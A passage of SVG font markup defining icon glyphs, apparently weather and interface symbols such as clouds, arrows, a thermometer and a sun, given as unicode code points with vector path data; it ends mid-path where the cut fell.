<glyph unicode="&#xf04b;" horiz-adv-x="686" d="M0 741q0 -126 61 -232t167.5 -167.5t232.5 -61.5q30 0 51.5 23t21.5 54t-21 51.5t-52 20.5q-130 0 -220.5 91t-90.5 221q0 124 85 216t200 92l-35 -34q-24 -24 -22 -52q0 -29 21 -51.5t52 -22.5q32 0 54 22l161 160q21 17 21 54q0 35 -21 50l-161 163q-21 22 -52 22 t-53.5 -22t-22.5 -53q0 -33 23 -54l32 -30q-184 -13 -308 -144.5t-124 -315.5z" />
<glyph unicode="&#xf04c;" horiz-adv-x="1115" d="M0 674q0 -151 75.5 -279.5t204 -203t278.5 -74.5q153 0 281 74t202 202t74 281q0 38 -25.5 65t-62.5 27t-64 -27t-27 -65q0 -157 -110.5 -267.5t-267.5 -110.5q-155 0 -264 110.5t-109 267.5q0 136 84.5 246.5t196.5 117.5l-41 -39q-26 -28 -26 -62q0 -36 26 -64 q58 -56 129 0l196 194q26 20 26 66q0 41 -26 61l-196 198q-28 26 -61 26q-40 0 -67 -26.5t-27 -64.5q0 -39 26 -65l41 -38q-200 -35 -333 -191.5t-133 -358.5z" />
<glyph unicode="&#xf04d;" horiz-adv-x="1081" d="M1 799q0 -36 24.5 -61t59.5 -21h702l-110 -115q-26 -26 -26 -59q0 -36 25.5 -61t61.5 -25q34 1 57 29l261 257q25 25 25 62q-1 38 -26 62l-263 255q-24 26 -58 25q-36 0 -61 -24t-25 -60t25 -61l113 -115h-703q-36 -1 -59.5 -26.5t-22.5 -61.5z" />
<glyph unicode="&#xf04e;" horiz-adv-x="851" d="M0 1027q0 41 40.5 108t77.5 111q10 12 25 29.5t17 19.5l39 -46q44 -49 81 -114t37 -108q0 -66 -45.5 -113t-111.5 -47t-113 47t-47 113zM333 584q0 46 26 107.5t64 113.5q73 98 140 163q7 5 28 26l27 -26q62 -59 141 -162q41 -55 66.5 -115t25.5 -107q0 -110 -75 -184.5 t-185 -74.5q-108 0 -183 76t-75 183zM495 1320q0 69 107 181l27 -30q30 -35 54 -78.5t24 -72.5q0 -44 -30.5 -73.5t-74.5 -29.5q-46 0 -76.5 29.5t-30.5 73.5z" />
<glyph unicode="&#xf050;" horiz-adv-x="2539" d="M0 521q0 -39 30 -66q26 -30 67 -30h1567q46 0 78 -32t32 -79q0 -46 -31.5 -76.5t-78.5 -30.5t-78 31q-26 28 -64 28q-40 0 -68.5 -27.5t-28.5 -65.5q0 -40 30 -67q90 -88 209 -88q125 0 214 86t89 210t-89.5 213.5t-213.5 89.5h-1567q-40 0 -68.5 -28t-28.5 -68zM0 871 q0 -37 30 -65q28 -28 67 -28h2138q125 0 214.5 87t89.5 210q0 124 -89.5 212t-214.5 88q-123 0 -208 -85q-29 -26 -29 -71q0 -41 27.5 -67t67.5 -26q39 0 67 26q30 33 75 33q46 0 77.5 -32t31.5 -78t-31.5 -77t-77.5 -31h-2138q-40 0 -68.5 -28t-28.5 -68z" />
<glyph unicode="&#xf051;" horiz-adv-x="2613" d="M0 693q0 40 32 74q36 31 75 31h248q43 0 72 -31t29 -74q0 -46 -29 -77t-72 -31h-248q-43 0 -75 32.5t-32 75.5zM355 1544q0 43 28 73q36 31 75 31q42 0 73 -31l175 -176q30 -35 30 -74q0 -45 -29 -75t-70 -30q-39 0 -75 31l-179 173q-28 34 -28 78zM568 104q0 45 31 73 q28 28 73 28h281l332 312q16 13 36 0l337 -312h295q43 0 73.5 -29.5t30.5 -71.5q0 -43 -30.5 -74t-73.5 -31h-361q-16 0 -31 8l-257 242l-255 -242q-13 -8 -30 -8h-347q-43 0 -73.5 31t-30.5 74zM667 693q0 -155 66 -282q4 -19 27 -19h201q12 0 16 9t-2 20 q-102 123 -102 272q0 180 128 306t308 126q179 0 305.5 -126t126.5 -306q0 -150 -101 -272q-7 -11 -3.5 -20t16.5 -9h203q21 0 25 19q66 123 66 282q0 130 -51 248t-136.5 203.5t-203.5 136t-247 50.5q-130 0 -248.5 -50.5t-205 -136t-137.5 -203.5t-51 -248zM1203 1648v245 q0 46 30 75.5t76 29.5q45 0 74.5 -30t29.5 -75v-245q0 -46 -29.5 -75.5t-74.5 -29.5q-46 0 -76 29.5t-30 75.5zM1880 1367q0 40 29 74l173 176q31 31 75 31t74 -30.5t30 -73.5q0 -46 -28 -78l-180 -173q-34 -31 -75 -31q-43 0 -70.5 29.5t-27.5 75.5zM2159 693q0 43 28.5 74 t70.5 31h251q43 0 74 -31t31 -74q0 -44 -31 -76t-74 -32h-251q-43 0 -71 31t-28 77z" />
<glyph unicode="&#xf052;" horiz-adv-x="2585" d="M0 681q0 44 32 72q28 28 73 28h246q43 0 71 -28.5t28 -71.5q0 -45 -28.5 -75.5t-70.5 -30.5h-246q-43 0 -74 31.5t-31 74.5zM351 1519q0 45 27 72q32 32 75 32q46 0 72 -32l173 -174q74 -70 0 -144q-30 -30 -69 -30q-35 0 -72 30l-179 174q-27 29 -27 72zM561 103 q0 42 32 74q29 29 72 29h343q17 0 30 -8l251 -237l255 237q11 8 31 8h352q43 0 73.5 -30t30.5 -73t-30.5 -73.5t-73.5 -30.5h-286l-335 -303q-20 -14 -35 0l-329 303h-277q-43 0 -73.5 30.5t-30.5 73.5zM661 681q0 -159 62 -280q9 -17 29 -17h199q13 0 16 8t-8 19 q-95 119 -95 270q0 176 126 299.5t304 123.5q176 0 301.5 -124t125.5 -299q0 -151 -95 -270q-11 -11 -8 -19t16 -8h201q21 0 26 17q66 125 66 280q0 127 -50.5 244.5t-135.5 202.5t-202 135.5t-245 50.5t-245 -50.5t-202 -135.5t-135.5 -202.5t-50.5 -244.5zM1190 1621v248 q0 43 30.5 73.5t73.5 30.5t73.5 -30.5t30.5 -73.5v-248q0 -43 -30.5 -73.5t-73.5 -30.5t-73.5 30.5t-30.5 73.5zM1859 1345q0 45 28 72l174 174q26 32 72 32q44 0 73 -30.5t29 -73.5q0 -45 -27 -72l-177 -174q-37 -30 -74 -30q-42 0 -70 29.5t-28 72.5zM2135 681 q0 43 28 71.5t71 28.5h247q43 0 73.5 -29t30.5 -71q0 -43 -30.5 -74.5t-73.5 -31.5h-247q-42 0 -70.5 30.5t-28.5 75.5z" />
<glyph unicode="&#xf053;" horiz-adv-x="1085" d="M0 245q0 136 63 253.5t176 196.5v1058q0 128 88 217t216 89q129 0 217.5 -89t88.5 -217v-1058q113 -79 175 -196.5t62 -253.5q0 -148 -72.5 -273t-197.5 -197.5t-273 -72.5q-147 0 -272 72.5t-198 197.5t-73 273zM187 245q0 -149 104.5 -254.5t251.5 -105.5 q149 0 256.5 107t107.5 253q0 100 -51.5 184.5t-140.5 131.5l-30 15q-16 7 -16 31v1146q0 52 -36 86t-90 34q-52 0 -88.5 -34t-36.5 -86v-1146q0 -24 -15 -31l-29 -15q-88 -47 -137.5 -131t-49.5 -185z" />
<glyph unicode="&#xf054;" horiz-adv-x="538" d="M0 245q0 -114 78 -194t188 -80t191 80.5t81 193.5q0 101 -69 178t-168 91v783q0 10 -11 20.5t-24 10.5q-14 0 -22.5 -9t-8.5 -22v-783q-98 -14 -166.5 -91t-68.5 -178z" />
<glyph unicode="&#xf055;" horiz-adv-x="1085" d="M0 245q0 136 63 253.5t176 196.5v1058q0 128 88 217t216 89q129 0 217.5 -89t88.5 -217v-1058q113 -79 175 -196.5t62 -253.5q0 -148 -72.5 -273t-197.5 -197.5t-273 -72.5q-147 0 -272 72.5t-198 197.5t-73 273zM187 245q0 -149 104.5 -254.5t251.5 -105.5 q149 0 256.5 107t107.5 253q0 100 -51.5 184.5t-140.5 131.5l-30 15q-16 7 -16 31v1146q0 52 -36 86t-90 34q-52 0 -88.5 -34t-36.5 -86v-1146q0 -24 -15 -31l-29 -15q-88 -47 -137.5 -131t-49.5 -185zM270 245q0 -114 78 -194t188 -80t191 80.5t81 193.5q0 101 -69.5 178 t-168.5 91v783q0 10 -10.5 20.5t-23.5 10.5q-14 0 -22.5 -9t-8.5 -22v-783q-98 -14 -166.5 -91t-68.5 -178z" />
<glyph unicode="&#xf056;" horiz-adv-x="1484" d="M0 718q0 -71 74 -121q135 -95 408 -95q123 0 228 21q111 24 181 75t70 120q0 21 -8 42q142 35 223 94.5t81 136.5q0 19 -6 41q234 83 234 224q0 90 -102 160q-200 133 -586 133q-182 0 -330 -32q-159 -32 -257.5 -102t-98.5 -159q0 -53 33 -97q-121 -69 -121 -168 q0 -77 75 -135q-98 -57 -98 -138zM41 411q0 -75 92.5 -117.5t232.5 -42.5q142 0 235 42.5t93 117.5q0 28 -18 47t-46 19q-23 0 -41 -16t-23 -39q-20 -16 -75 -29.5t-125 -13.5q-113 0 -183 32q16 16 17.5 41t-10.5 42q-16 22 -41.5 27t-47.5 -9q-60 -40 -60 -101zM128 718 q0 1 13 12q9 9 38.5 23t65.5 24l8 4q166 -55 387 -55q97 0 176 11l18 -16q-9 -16 -43 -34q-41 -22 -127 -39t-182 -17t-182.5 17t-128.5 39q-34 15 -43 31zM136 143q0 -65 73.5 -100t182.5 -35q111 0 186 35t75 100q0 26 -19 46t-45 20q-48 0 -63 -49q-40 -25 -134 -25 q-82 0 -131 25q-15 49 -63 49q-26 0 -44 -19t-18 -47zM150 991q0 8 10 19q25 31 97 60q197 -105 540 -105q175 0 329 32v-6q0 -15 -19 -31q-42 -37 -156 -70q-124 -37 -311 -37q-188 0 -312 37q-119 33 -159 70q-19 15 -19 31zM239 1256q0 18 24 40q46 43 183 83 q146 43 351 43q206 0 354 -43q138 -40 183 -83q23 -23 23 -40t-23 -38q-45 -43 -183 -84q-148 -43 -354 -43q-205 0 -351 43q-138 40 -183 84q-24 21 -24 38z" />
<glyph unicode="&#xf057;" horiz-adv-x="676" d="M0 557q0 -31 18 -50q20 -19 54 -19q31 0 50 19l412 413v-133q0 -31 20.5 -51.5t51.5 -20.5q30 0 50.5 21t20.5 51v306q0 31 -20.5 51.5t-50.5 20.5h-307q-30 0 -50 -20.5t-20 -51.5q0 -30 20 -50t50 -20h133l-414 -414q-18 -21 -18 -52z" />
<glyph unicode="&#xf058;" horiz-adv-x="691" d="M1 1013q-1 -36 23.5 -61.5t60.5 -24.5q35 -2 60 25l113 112v-703q-1 -36 24.5 -60t62.5 -23q35 -2 61 22t27 60v703l112 -112q24 -25 60 -25q37 0 61.5 24.5t24.5 60.5q-2 37 -27 58l-255 262q-25 24 -63 27q-38 -2 -63 -28l-256 -260q-26 -22 -26 -57z" />
<glyph unicode="&#xf059;" horiz-adv-x="1533" d="M0 769q0 156 60.5 298.5t163 244.5t244 163t297.5 61q157 0 299 -61t245 -163.5t164 -244.5t61 -297q0 -156 -61 -298.5t-164 -245.5t-245 -163.5t-298 -60.5q-155 0 -297 60.5t-244.5 163t-163.5 244.5t-61 299zM168 769q0 -162 80.5 -299.5t218.5 -217t299 -79.5 q121 0 232 47.5t191.5 127.5t128 190.5t47.5 231.5q0 244 -178 422q-178 176 -422 176q-121 0 -231.5 -48t-190.5 -128t-127.5 -191t-47.5 -232zM491 521l90 239q5 10 0 21l-90 235q-5 10 1 16t17 1l598 -252q11 -2 11 -11q0 -8 -11 -10l-598 -257q-11 -4 -17 1.5t-1 16.5z " />
<glyph unicode="&#xf05a;" horiz-adv-x="1533" d="M0 769q0 156 60.5 298.5t163 244.5t244 163t297.5 61q157 0 299 -61t245 -163.5t164 -244.5t61 -297q0 -156 -61 -298.5t-164 -245.5t-245 -163.5t-298 -60.5q-155 0 -297 60.5t-244.5 163t-163.5 244.5t-61 299zM168 769q0 -162 80.5 -299.5t218.5 -217t299 -79.5 q121 0 232 47.5t191.5 127.5t128 190.5t47.5 231.5q0 244 -178 422q-178 176 -422 176q-121 0 -231.5 -48t-190.5 -128t-127.5 -191t-47.5 -232zM435 761q0 7 12 10l604 250q11 2 16.5 -3.5t1.5 -16.5l-248 -604q-2 -11 -11 -11q-11 0 -16 11l-103 230q-9 14 -14 15 l-230 104q-12 5 -12 15z" />
<glyph unicode="&#xf05b;" horiz-adv-x="1533" d="M0 769q0 156 60.5 298.5t163 244.5t244 163t297.5 61q157 0 299 -61t245 -163.5t164 -244.5t61 -297q0 -156 -61 -298.5t-164 -245.5t-245 -163.5t-298 -60.5q-155 0 -297 60.5t-244.5 163t-163.5 244.5t-61 299zM168 769q0 -162 80.5 -299.5t218.5 -217t299 -79.5 q121 0 232 47.5t191.5 127.5t128 190.5t47.5 231.5q0 244 -178 422q-178 176 -422 176q-121 0 -231.5 -48t-190.5 -128t-127.5 -191t-47.5 -232zM518 998q-2 11 3.5 17t15.5 2l602 -249q12 -2 12 -10q0 -9 -12 -14l-229 -104q-10 -4 -15 -15l-104 -230q-5 -11 -14 -11 q-8 0 -10 11z" />
<glyph unicode="&#xf05c;" d="M0 765q0 209 103.5 386.5t280.5 280.5t385 103q156 0 298 -61t245 -164t164 -245.5t61 -299.5q0 -156 -61 -298.5t-164 -245t-245 -163t-298 -60.5q-157 0 -299.5 61t-245.5 164t-163.5 244.5t-60.5 297.5zM169 765q0 -243 177 -422q177 -177 423 -177q162 0 300 80.5 t219 218.5t81 300t-81 300.5t-219 219t-300 80.5t-300 -80.5t-219 -219t-81 -300.5zM503 507l256 600q2 11 10 11t10 -11l255 -600q4 -11 -1.5 -17t-16.5 0l-237 89q-10 4 -20 0l-239 -89q-10 -6 -16 0t-1 17z" />
<glyph unicode="&#xf05d;" d="M0 769q0 156 60.5 298.5t163 244.5t244 163t297.5 61q157 0 299 -61t245 -163.5t164 -244.5t61 -297q0 -156 -61 -298.5t-164 -245.5t-245 -163.5t-298 -60.5q-155 0 -297 60.5t-244.5 163t-163.5 244.5t-61 299zM168 769q0 -162 80.5 -299.5t218.5 -217t299 -79.5 q121 0 232 47.5t191.5 127.5t128 190.5t47.5 231.5q0 244 -178 422q-178 176 -422 176q-121 0 -231.5 -48t-190.5 -128t-127.5 -191t-47.5 -232zM375 777q0 10 10 14l231 104q10 5 15 15l103 229q9 12 16 12q8 0 11 -12l248 -605q2 -11 -2 -15t-16 -2l-606 248q-10 3 -10 12 z" />
<glyph unicode="&#xf05e;" horiz-adv-x="1533" d="M0 769q0 156 60.5 298.5t163 244.5t244 163t297.5 61q157 0 299 -61t245 -163.5t164 -244.5t61 -297q0 -156 -61 -298.5t-164 -245.5t-245 -163.5t-298 -60.5q-155 0 -297 60.5t-244.5 163t-163.5 244.5t-61 299zM168 769q0 -162 80.5 -299.5t218.5 -217t299 -79.5 q121 0 232 47.5t191.5 127.5t128 190.5t47.5 231.5q0 244 -178 422q-178 176 -422 176q-121 0 -231.5 -48t-190.5 -128t-127.5 -191t-47.5 -232zM525 536l250 605q1 10 10 10q10 0 14 -10l104 -231q2 -9 16 -14l230 -104q11 -4 11 -14q0 -9 -11 -12l-605 -248q-10 -4 -15 1 t-4 17z" />
<glyph unicode="&#xf060;" horiz-adv-x="1538" d="M0 766q0 156 61.5 298.5t164.5 245.5t245 163.5t298 60.5t298.5 -60.5t245.5 -163.5t164 -245t61 -299t-61 -299t-164 -244.5t-245.5 -163t-298.5 -60.5t-298.5 61t-245.5 164t-164 245t-61 297zM170 766q0 -245 177 -422q176 -176 422 -176q163 0 301.5 80.5t219 218 t80.5 299.5q0 121 -47.5 232t-128.5 191.5t-192 128t-233 47.5q-121 0 -231.5 -47.5t-191 -128t-128.5 -191.5t-48 -232zM504 1025q-5 11 1 16.5t16 0.5l238 -89q10 -4 23 0l235 89q10 5 16 -0.5t2 -16.5l-253 -599q-3 -10 -13 -10q-7 0 -10 10z" />
<glyph unicode="&#xf061;" horiz-adv-x="1541" d="M0 769q0 157 61.5 300t165 246.5t246 164.5t298.5 61t299 -61t246 -164.5t164.5 -246.5t61.5 -300t-61.5 -300t-165 -245.5t-246 -163.5t-298.5 -61q-157 0 -300 61t-246 164.5t-164 246t-61 298.5zM170 769q0 -245 179 -424q177 -177 422 -177q163 0 302 81t220 219.5 t81 300.5t-81 300.5t-220 219.5t-302 81q-162 0 -300.5 -81t-219.5 -219.5t-81 -300.5zM418 769q0 9 12 10l601 258q11 5 16.5 -1.5t0.5 -16.5l-89 -240q-7 -10 0 -20l89 -238q5 -10 -0.5 -16t-16.5 -1l-601 255q-12 1 -12 10z" />
<glyph unicode="&#xf062;" horiz-adv-x="1816" d="M0 1000q0 150 94.5 268.5t239.5 150.5q41 180 184.5 295t328.5 115q180 0 322 -112.5t184 -286.5h29q180 0 307 -125.5t127 -304.5q0 -96 -39.5 -181.5t-109.5 -146.5v-3q0 -95 -59.5 -169.5t-149.5 -94.5q-23 -100 -97 -169t-174 -85q46 -55 46 -121q0 -77 -54.5 -132 t-131.5 -55t-131.5 55t-54.5 132q0 31 11 61h-11q-93 0 -160 67t-67 160q0 64 32 114q-83 46 -120 133h-125h-2h-9v1q-172 11 -291 136t-119 298zM149 1026q0 -128 90 -218t217 -90q79 0 146 36q19 -119 111 -198t216 -79q139 0 237 98q66 -76 164 -76q91 0 155.5 64.5 t64.5 155.5q64 43 101 110.5t37 146.5q0 127 -91 215.5t-219 88.5q-89 0 -163 -47q9 39 9 84q0 154 -110 262t-266 108q-150 0 -259 -104t-114 -253q-3 0 -9 0.5t-10 0.5q-126 0 -216.5 -89.5t-90.5 -215.5z" />
<glyph unicode="&#xf063;" horiz-adv-x="1636" d="M0 562q0 36 25 59.5t68 23.5h609q43 0 68 -23.5t25 -59.5q0 -44 -24.5 -68.5t-68.5 -24.5h-609q-43 0 -68 24.5t-25 68.5zM0 1193q0 36 25 59t68 23h316q43 0 68.5 -23t25.5 -59q0 -43 -25.5 -68.5t-68.5 -25.5h-316q-43 0 -68 25t-25 69zM105 247q0 35 29.5 64.5 t64.5 29.5q41 0 66.5 -28.5t25.5 -65.5q0 -44 -24.5 -69t-67.5 -25q-37 0 -65.5 26t-28.5 68zM257 879q0 37 23.5 65.5t57.5 28.5q42 0 68 -28.5t26 -65.5q0 -44 -25 -69t-69 -25q-36 0 -58.5 25.5t-22.5 68.5zM362 247q0 37 26 65.5t68 28.5h409l94 -94q0 -42 -28.5 -68 t-65.5 -26h-409q-44 0 -69 25.5t-25 68.5zM503 879q0 35 29.5 64.5t64.5 29.5h409q42 0 67.5 -28.5t25.5 -65.5q0 -44 -25 -69t-68 -25h-409q-37 0 -65.5 26t-28.5 68zM584 1193q0 36 25.5 59t68.5 23h609q36 0 65 -24t29 -58q0 -42 -28.5 -68t-65.5 -26h-609 q-44 0 -69 25.5t-25 68.5zM865 562q0 34 29 58.5t65 24.5t65 -24.5t29 -58.5q0 -42 -28.5 -67.5t-65.5 -25.5t-65.5 25.5t-28.5 67.5zM1029 247q0 37 25.5 65.5t67.5 28.5h199q42 0 67.5 -28t25.5 -66q0 -44 -24.5 -69t-68.5 -25h-199q-43 0 -68 25t-25 69zM1122 562 q0 34 29 58.5t65 24.5h327q35 0 58 -24t23 -59q0 -43 -22.5 -68t-58.5 -25h-327q-37 0 -65.5 25.5t-28.5 67.5zM1169 879q0 35 29.5 64.5t64.5 29.5h209q34 0 58 -29t24 -65q0 -43 -23 -68.5t-59 -25.5h-209q-37 0 -65.5 26t-28.5 68zM1461 1193q0 35 23.5 58.5t58.5 23.5 q43 0 68.5 -23t25.5 -59q0 -43 -25.5 -68.5t-68.5 -25.5q-36 0 -59 25.5t-23 68.5z" />
<glyph unicode="&#xf064;" horiz-adv-x="2211" d="M0 523q0 185 113.5 328.5t292.5 187.5q50 218 224.5 358t400.5 140q220 0 392.5 -136.5t224.5 -350.5h34q143 0 265 -70.5t193 -192t71 -264.5q0 -212 -148 -365t-360 -160q-21 0 -21 18v142q0 19 21 19q136 7 232.5 108.5t96.5 237.5q0 142 -103 245t-247 103h-172 q-19 0 -19 18l-8 62q-18 173 -148.5 290t-303.5 117q-176 0 -305.5 -118t-146.5 -293l-6 -53q0 -20 -21 -20l-56 -7q-133 -11 -223.5 -110.5t-90.5 -233.5q0 -136 96.5 -237.5t232.5 -108.5q18 0 18 -19v-142q0 -18 -18 -18q-214 7 -362.5 160t-148.5 365zM587 -298 q0 37 27 64q26 24 61 24q37 0 62.5 -25t25.5 -63t-25.5 -63t-62.5 -25t-62.5 25t-25.5 63zM679 89q0 36 25.5 62t62.5 26t62.5 -26t25.5 -62q0 -38 -25.5 -64.5t-62.5 -26.5t-62.5 26.5t-25.5 64.5zM882 -507q0 36 27 65q26 26 61 26q38 0 65 -27t27 -64t-27 -62.5 t-65 -25.5q-36 0 -62 25.5t-26 62.5zM974 -117q0 38 26 66q26 26 62 26q37 0 64 -27t27 -65q0 -37 -26.5 -63.5t-64.5 -26.5q-36 0 -62 26.5t-26 63.5zM1019 269q0 37 27 64q28 26 61 26q38 0 65 -26.5t27 -63.5t-27 -62.5t-65 -25.5q-36 0 -62 25.5t-26 62.5zM1272 -298 q0 36 26 64q26 24 64 24t63 -25t25 -63t-25 -63t-63 -25t-64 25.5t-26 62.5zM1363 89q0 35 27 61.5t64 26.5t62.5 -26t25.5 -62q0 -38 -25.5 -64.5t-62.5 -26.5q-38 0 -64.5 27t-26.5 64z" />
<glyph unicode="&#xf065;" horiz-adv-x="2864" d="M0 525q0 -138 68 -257t185.5 -191t256.5 -76q18 0 18 18v142q0 20 -18 20q-136 7 -232.5 108.5t-96.5 235.5q0 132 90.5 230t223.5 114l56 6q19 0 19 20l8 54q17 175 145.5 291.5t303.5 116.5q174 0 304.5 -116.5t147.5 -288.5l8 -62q0 -18 18 -18h172q144 0 246 -102.5 t102 -244.5q0 -134 -96.5 -235.5t-231.5 -108.5q-20 0 -20 -20v-142q0 -18 20 -18q212 7 360 160t148 364q0 121 -46 217q126 151 126 352q0 150 -75 278.5t-204 203.5t-279 75q-246 0 -413 -185q-130 70 -287 70q-225 0 -399 -139.5t-223 -356.5q-179 -44 -292 -187 t-113 -328zM585 -294q0 -33 26 -61q28 -26 62 -26q38 0 63 25t25 62q0 38 -25.5 63t-62.5 25t-62.5 -25t-25.5 -63zM677 93q0 -38 25.5 -65t62.5 -27t62.5 27t25.5 65q0 36 -25.5 62t-62.5 26t-62.5 -26t-25.5 -62zM879 -502q0 -35 26 -61q27 -27 62 -27q38 0 64.5 25 t26.5 63t-27 64.5t-64 26.5q-35 0 -61.5 -27t-26.5 -64zM895 1832q0 -39 26 -63l70 -70q26 -26 57 -27q33 -5 65 23.5t32 67.5t-26 68l-68 65q-24 27 -62 27q-40 0 -67 -26.5t-27 -64.5zM970 -112q0 -35 27 -64q26 -26 61 -26q38 0 65 26t27 64q0 37 -27 63.5t-65 26.5 q-36 0 -62 -26.5t-26 -63.5zM1016 272q0 -36 26 -62t62 -26q38 0 64.5 25.5t26.5 62.5t-26.5 63t-64.5 26q-36 0 -62 -26t-26 -63zM1269 -294q0 -34 25 -61q28 -26 64 -26q38 0 63 25t25 62q0 38 -25 63t-63 25t-63.5 -25.5t-25.5 -62.5zM1360 93q0 -38 26 -65t63 -27 t62.5 27t25.5 65q0 36 -25.5 62t-62.5 26t-63 -26t-26 -62zM1464 1365q110 106 263 106q155 0 265 -111t110 -266q0 -100 -54 -196q-153 153 -371 153h-34q-47 187 -179 314zM1635 1921q0 -37 27 -62t65 -25t63 25t25 62v218q0 38 -25.5 65t-62.5 27t-64.5 -27.5 t-27.5 -64.5v-218zM2223 1679q0 -37 27 -63q24 -25 59.5 -27.5t66.5 27.5l153 153q28 28 28 65q0 38 -27.5 65t-64.5 27q-35 0 -62 -27l-153 -156q-27 -25 -27 -64zM2309 421q0 -40 26 -66l68 -67q39 -26 68 -26q33 0 59.5 27.5t26.5 65.5q0 36 -28 62l-66 69q-28 26 -65 26 t-63 -26.5t-26 -64.5zM2463 1094q0 -38 28 -63q27 -29 66 -29h216q37 0 64 27t27 65t-27 64.5t-64 26.5h-216q-38 0 -66 -27t-28 -64z" />
<glyph unicode="&#xf066;" horiz-adv-x="2297" d="M0 529q0 -213 149 -366.5t363 -163.5q19 0 19 18v143q0 18 -19 18q-137 8 -233.5 110t-96.5 241q0 133 90.5 231t224.5 114l56 4q21 0 21 19l8 58q17 173 146.5 290t304.5 117q174 0 305 -117t149 -290l8 -61q0 -20 18 -20h173q145 0 248 -101.5t103 -243.5 q0 -138 -97 -240.5t-234 -110.5q-20 0 -20 -18v-143q0 -18 20 -18q214 7 362.5 161.5t148.5 368.5q0 114 -46 214q126 154 126 354q0 152 -75.5 281.5t-204.5 204.5t-280 75q-248 0 -415 -185q-129 69 -289 69q-226 0 -401 -140.5t-225 -358.5q-177 -42 -292 -185.5 t-115 -328.5zM585 -294q0 -33 26 -61q28 -26 62 -26q38 0 63 25t25 62q0 38 -25.5 63t-62.5 25t-62.5 -25t-25.5 -63zM677 93q0 -38 25.5 -65t62.5 -27t62.5 27t25.5 65q0 36 -25.5 62t-62.5 26t-62.5 -26t-25.5 -62zM879 -502q0 -35 26 -61q27 -27 62 -27q38 0 64.5 25 t26.5 63t-27 64.5t-64 26.5q-35 0 -61.5 -27t-26.5 -64zM970 -112q0 -35 27 -64q26 -26 61 -26q38 0 65 26t27 64q0 37 -27 63.5t-65 26.5q-36 0 -62 -26.5t-26 -63.5zM1016 272q0 -36 26 -62t62 -26q38 0 64.5 25.5t26.5 62.5t-26.5 63t-64.5 26q-36 0 -62 -26t-26 -63z M1269 -294q0 -34 25 -61q28 -26 64 -26q38 0 63 25t25 62q0 38 -25 63t-63 25t-63.5 -25.5t-25.5 -62.5zM1360 93q0 -38 26 -65t63 -27t62.5 27t25.5 65q0 36 -25.5 62t-62.5 26t-63 -26t-26 -62zM1472 1369q108 108 265 108t266.5 -111t109.5 -269q0 -94 -54 -196 q-154 154 -373 154h-33q-47 186 -181 314z" />
<glyph unicode="&#xf067;" horiz-adv-x="2331" d="M0 525q0 -212 149 -366t363 -161q19 0 19 18v143q0 18 -19 18q-136 7 -233 109.5t-97 238.5t90.5 235t224.5 110l57 8q21 0 21 18l7 55q17 175 146.5 293t305.5 118q174 0 305 -117.5t149 -290.5l8 -61q0 -19 18 -19h173q145 0 248.5 -103t103.5 -246q0 -136 -97 -238.5 t-233 -109.5q-22 0 -22 -18v-143q0 -18 22 -18q140 4 257 76t184.5 192t67.5 259q0 146 -69 265q118 106 162 275l18 77q2 2 2 8q0 12 -17 17l-65 18q-70 21 -124.5 61t-86 89.5t-47 101t-15.5 101.5q0 43 11 92l12 66q4 15 -15 24l-85 26q-70 17 -133 17q-59 0 -120 -14 t-126 -44t-126 -85.5t-106 -130.5q-129 53 -254 53q-226 0 -401.5 -140.5t-225.5 -359.5q-180 -45 -293.5 -188t-113.5 -329zM590 -299q0 -36 26 -62t62 -26q38 0 63.5 25t25.5 63t-25.5 63t-63.5 25t-63 -25t-25 -63zM635 89q0 -38 25.5 -64.5t62.5 -26.5q38 0 64 26.5 t26 64.5q0 36 -26 62t-64 26q-37 0 -62.5 -26t-25.5 -62zM886 -510q0 -35 26 -61q27 -27 62 -27q38 0 65 25.5t27 62.5q0 38 -27 65.5t-65 27.5q-35 0 -61.5 -27.5t-26.5 -65.5zM954 -118q0 -38 27 -63q26 -26 61 -26q38 0 65.5 26t27.5 63q0 38 -27.5 65.5t-65.5 27.5 q-35 0 -61.5 -27.5t-26.5 -65.5zM1023 270q0 -38 26 -62q26 -26 62 -26q39 0 65.5 25t26.5 63q0 37 -27 63.5t-65 26.5q-36 0 -62 -26.5t-26 -63.5zM1277 -299q0 -36 26 -62t64 -26q37 0 62.5 25.5t25.5 62.5q0 38 -25 63t-63 25t-64 -25t-26 -63zM1322 89q0 -37 27 -64 t64 -27t62.5 26.5t25.5 64.5q0 36 -25.5 62t-62.5 26t-64 -26.5t-27 -61.5zM1441 1395q50 87 138.5 134.5t182.5 49.5q24 0 35 -2v-33q0 -155 83.5 -292.5t231.5 -209.5q-25 -58 -81 -114q-142 126 -344 126h-33q-44 197 -213 341z" />
<glyph unicode="&#xf068;" horiz-adv-x="2883" d="M0 530q0 -179 106.5 -320t275.5 -188l-70 -181q-8 -23 15 -23h227l-152 -449h31l465 604q6 7 2 14.5t-15 7.5h-234l266 496q12 23 -15 23h-316q-15 0 -25 -16l-114 -307q-115 29 -190 123.5t-75 215.5q0 135 90 233t225 114l54 3q19 0 24 15l8 63q17 173 146.5 290.5 t305.5 117.5q174 0 305.5 -117.5t149.5 -290.5l8 -63q0 -18 19 -18h172q143 0 246 -102.5t103 -244.5q0 -139 -95.5 -241.5t-232.5 -109.5q-21 0 -21 -19v-143q0 -18 21 -18q141 4 258.5 76.5t185.5 193t68 261.5q0 117 -46 215q122 154 122 351q0 152 -75.5 281.5t-205 205 t-281.5 75.5q-115 0 -223.5 -48t-187.5 -133q-129 69 -290 69q-227 0 -402.5 -140.5t-224.5 -359.5q-177 -41 -292.5 -186t-115.5 -330zM841 -560q0 -27 17 -52.5t52 -35.5q14 -3 26 -3q69 0 85 65l14 63q10 41 -9 73t-56 39q-34 11 -67 -7.5t-44 -54.5l-14 -63 q-4 -18 -4 -24zM898 1841q0 -37 27 -64l69 -70q25 -25 59 -28q33 -5 65 24t32 68q0 37 -27 64l-67 70q-26 26 -64 26q-40 0 -67 -26t-27 -64zM925 -250q0 -36 26 -62t62 -26q38 0 63 25t25 63q0 37 -25 62t-63 25t-63 -25t-25 -62zM991 -8q-2 -24 14.5 -50t48.5 -32 q37 -10 68 6t44 60l28 96q11 35 -7.5 67t-56.5 43q-35 11 -68 -8.5t-44 -56.5l-24 -96q-3 -13 -3 -29zM1286 -237q0 -27 16 -51.5t49 -34.5q5 0 15 -2t15 -2q65 0 81 70l15 64q11 34 -7.5 67t-54.5 44q-40 10 -72.5 -8.5t-43.5 -56.5l-10 -63q0 -2 -1.5 -12t-1.5 -15z M1365 78q0 -37 26 -61q24 -26 62 -26t63 25t25 62q0 38 -25 63t-63 25t-63 -25t-25 -63zM1475 1369q107 103 261 103q157 0 267.5 -109.5t110.5 -266.5q0 -105 -50 -193q-154 154 